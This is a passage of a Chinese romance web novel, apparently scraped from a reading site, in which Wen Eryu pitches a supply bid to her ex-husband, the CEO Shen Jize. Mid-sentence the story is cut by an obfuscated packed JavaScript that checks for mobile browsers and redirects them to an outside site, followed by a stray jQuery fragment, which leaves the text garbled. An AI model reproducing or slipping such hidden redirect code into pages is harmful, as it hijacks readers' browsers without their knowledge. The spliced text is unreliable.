温尔语咬着下唇,不敢抬头看他,只是徒劳地挣扎了一下被他禁锢住的双手。
宴会厅的喧嚣被无形的屏障隔绝在外,只剩下这条灯光昏暗的走廊。
沈既泽高大的身影将她完全笼罩,此刻在这样近的距离下,她显得如此单薄,仿佛轻易就能被他给揉碎。
她无处可逃。
“放……放开我。”
温尔语本以为沈既泽会死死纠缠,可下一秒,男人就松开了手。
沈既泽后退了几步,给她留出了足够的空间。
可他却在她脸上看到了一丝疑惑。
沈既泽闷声说:“怎么,不习惯这样的我?”
温尔语:“……”
她本来想转身就走,可刚迈出一步,脑海里就想起了这次来晚宴的目的。
温尔语又把迈出去的脚给收了回来。
她露出一个标准的笑脸:“沈总,好久不见。”
沈既泽单手插兜,自上而下地看了她几眼,最后将目光停留在她额头上那道被粉底遮盖住的疤痕。
他眸子一暗,悄无声息地将视线移了开来。
温尔语见他没有搭话,脸色有些尴尬,在做了很长的思想斗争之后,她闭上眼,露出一副听天由命的表情。
“……我是专门来找你的。”
听到这话,沈既泽的身子不可察觉地颤抖了一下。
但很快,他冷笑一声,往前靠近了半步:“哦?是公事还是……私事?”
沈既泽特意停顿了一下,将最后两个字加重了读音。
温尔语有些窘迫,毕竟她已经和沈既泽离婚了,当初还闹得十分不愉快。
空气仿佛凝固住,走廊安静得能清楚听见宴会厅的交谈声。
此时,陈德突然找了过来。
他在看到温尔语的那一刻,脚步放缓了许多,又下意识地看向自家老板。
看沈既泽的表情,好像两人相处的还行,起码没有一见面就吵架。
陈德在心里松了一口气。
“老板,金泰药业的李总在找您。”
沈既泽看了眼手表:“嗯,走吧。”
他走到一半停了下来,背对着温尔语说:“明天上午九点来公司找我,过时不候。”
*
温尔语重新回到宴会厅的时候,卫彦正好在找她。
“你刚刚去哪了?”他问。
温尔语回:“礼服弄脏了,我去洗手间擦了一下。”
卫彦点点头,说:“沈总就在那边,我们现在过去跟他聊一下。”
可刚等他把话说完,沈既泽就在众人的注视下了离开了宴会厅。
卫彦拍了拍脑袋,脸上满是懊悔,嘴里不断地嘟囔道:“怎么就走了呢。”
随后,他转身对温尔语说:“没事,我们下次去他公司。”
“卫主管。”温尔语喊住他。
“怎么了?”
温尔语有些别扭地说道:“要不您还是换个人来吧,这礼服的钱我会还给您的。”
卫彦不解:“这钱的事是小问题,你是有什么其他的事情吗?”
“那倒也没有,只是……”温尔语欲言又止,她总不能跟他说沈既泽是她前夫吧。
卫彦打断她的话:“那不就好了,哎呀,只要你说服沈总,升职加薪一切都好说。”
话都说到这,温尔语也不好再拒绝。
*
第二天,温尔语准时到达了沈既泽的公司楼下。
卫彦临时有事,要去外省出差,就没跟她一起过来。
还没等温尔语开口,前台就已经走了出来,笑脸迎接她。
“温小姐,沈总已经跟我们说过了,请跟我来。”
“谢谢。”温尔语礼貌地回了一句。
片刻,她就到了沈既泽的办公室内。
里面冷气开得很足,前台给她泡了杯咖啡。
“沈总现在还在开会,您现在这稍等一会。”
温尔语点点头,她坐在宽大的黑色真皮沙发里,身体挺得笔直,像一张拉满的弓。
今天她穿了一套稍微正式的工作服,长发一丝不苟地盘在脑后,脸上化了一个淡妆,可仍然却掩不住眼底深处的一丝疲惫。
她放在膝盖上的双手交叠着,指尖冰凉,微微用力地扣在一起。
紧张吗,好像还真有点。
她喝了口咖啡,试图缓解这紧张的情绪。
十分钟后,办公室的木门被推开,沈既泽走了进来。
他步伐沉稳,虽然已经过了三十岁,但时间似乎格外优待他,那张棱角分明的脸,在窗外灰暗天光的映衬下,更显深邃冷峻。
沈既泽径直走向办公桌,仿佛没有注意到沙发上的人。
他坐下后,才缓缓地抬眼。
温尔语的心跳不受控制地加速,喉咙有些发干。她强迫自己迎上他的视线,努力让自己的声音听起来平稳,不带任何私人情感。
“沈总,感谢您百忙之中抽出时间。”
沈既泽没有立刻回应,他的目光在她身上停留了几秒。
这几秒钟的沉默,在空旷的办公室里被无限拉长,如同无声的拷问。
终于,他薄唇微启,声音低沉平稳,听不出喜怒,却带着一种上位者天然的疏离感。
“看来温小姐今天来找我是为了公事。”
温尔语没有回他这句话,而是从身旁的包里拿出一个厚厚的文件夹,动作利落,指尖却有些微不可察的颤抖。
她站起身,走到办公桌前,将文件夹轻轻推到他面前。
“这是关于‘南湾项目’材料供应的详细方案和报价,以及我们科技公司的资质证明和过往成功案例。”她清晰地陈述着,可心里却没底。
沈既泽没有去碰那份文件。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813002|175331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的身体微微后仰,靠在真皮椅背里,双手随意地交叠放在身前,姿态放松,却带着无形的压迫感。
沈既泽的目光依旧锁在温尔语脸上,对他来说那文件根本不重要,重要的是眼前这个前、妻。
“我记得。”他停顿了一下,似乎在捕捉她每一丝细微的表情变化,“离婚的时候,你说过,不会再与沈氏,或者说,与我本人,有任何瓜葛。”
他的声音不高,却字字清晰地敲在温尔语的心上,带着一种冰冷的的提醒。
温尔语的指尖深深掐进了掌心,用疼痛来维持清醒和表面的平静。
“我相信,沈氏选择供应商的标准,是专业能力、产品质量和性价比,而不是……合作方的私人关系。”
沈既泽看着她强装的镇定和眼底那抹倔强,眼神深了几分。
忽他然身体前倾,修长的手指随意地翻开文件夹的第一页,目光扫过那些密密麻麻的文字,但显然没有真正看进去。
“说得对。”他指尖在光滑的纸页上无意识地划过一道,“所以,温小姐认为,贵公司凭什么能打动沈氏,接下南湾这个体量巨大的项目?”
他的问题直指核心,这才是谈判该有的样子。
温尔语深吸一口气,压下心头翻涌的复杂情绪,开始条理清晰地阐述方案的优势。
当她结束陈述时,办公室里再次陷入沉寂。
沈既泽合上了文件夹,没有给出任何评价。
他站起身,绕过宽大的办公桌,一步一步走向温尔语。
随着他的靠近,那股独属于他清冽而强势的气息再次袭来,带着巨大的压迫感。
温尔语不敢抬头,只是下意识地向后退。
“项目的事我会考虑的。”沈既泽话锋一转,“但是——”
温尔语听到后面这两个字,心都提到了嗓子眼。
然而,沈既泽并没有立刻说下去,他的目光缓缓下移,忽然抬手。
温尔语的心跳骤停,以为他要做什么。
但那只修长的手,却只是目标明确地伸向她放在桌上喝了一半的咖啡。
在温尔语惊愕的目光中,沈既泽垂眸,而后将杯沿送到了自己唇边,浅浅地啜饮了一口。
动作流畅得仿佛演练过千百遍。
苦涩的咖啡香气在两人之间弥漫开来。
他放下杯子,杯底与桌面接触,发出清脆的一声。
沈既泽重新抬眼看她,深邃的眼眸里翻涌着她看不懂的暗流,唇角似乎勾起一抹极难察觉的弧度。
“你得答应我一件事。”
温尔语咽了咽口水,问:“……什么事?”
沈既泽:“陪我一天。”
温尔语拒绝道:“不行。”
“确定?”他冷哂道,“那项目我就不用考虑了。”
温尔语:“……”
卑鄙!无耻!万恶的资本家。